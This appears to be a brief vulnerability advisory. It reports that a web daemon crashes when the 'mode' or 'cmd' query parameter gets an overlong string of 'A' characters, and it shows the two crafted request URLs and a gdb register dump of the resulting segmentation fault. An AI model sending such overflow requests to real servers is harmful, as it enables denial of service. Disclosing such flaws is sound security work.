By sending a special crafted request, the daemon will crash.
A request such as http://www.server.tld/:8080/demo/?select=1&mode=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA<lots more>
or http://www.server.tld/:8080/demo/?cmd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA<lots more>
resulted in the following:
Program received signal SIGSEGV, Segmentation fault.
0x080bcb31 in server_loop ()
(gdb) i r
eax 0x8001 32769
ecx 0xbfffe541 -1073748671
edx 0x8001 32769
ebx 0xc0000000 -1073741824
esp 0xbffd8060 0xbffd8060
ebp 0x90f77f0 0x90f77f0
esi 0x90f77f9 152008697
edi 0x90f9226 152015398
eip 0x80bcb31 0x80bcb31
eflags 0x10202 66050
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51